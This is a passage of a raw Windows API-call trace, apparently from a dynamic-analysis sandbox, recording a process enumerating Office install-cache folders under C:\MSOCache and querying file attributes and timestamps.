[0039.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.777] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0039.777] GetLastError () returned 0x12 [0039.777] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0039.778] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0039.778] GetLastError () returned 0x12 [0039.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0039.778] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0039.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5578) returned 1 [0039.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4a38) returned 1 [0039.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.778] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0039.968] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0039.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.968] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0039.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.968] NtClose (Handle=0x160) returned 0x0 [0039.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0039.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4a38 [0039.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5470 [0039.968] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0040.117] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.117] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="")) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5578 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4fc8 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5aa0 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="")) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4fe8 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5ba8 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5008 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5cb0 [0040.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.118] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5028 [0040.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5db8 [0040.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.119] GetLastError () returned 0x12 [0040.119] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.119] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="")) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="")) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.119] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.119] GetLastError () returned 0x12 [0040.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0040.119] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5578) returned 1 [0040.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4a38) returned 1 [0040.120] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.120] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0040.222] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.222] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.222] NtClose (Handle=0x15c) returned 0x0 [0040.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d4a38 [0040.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5470 [0040.223] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.270] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.270] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="")) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5578 [0040.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5048 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5ec0 [0040.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.270] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="")) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5068 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d5fc8 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d60d0 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4970) returned 1 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 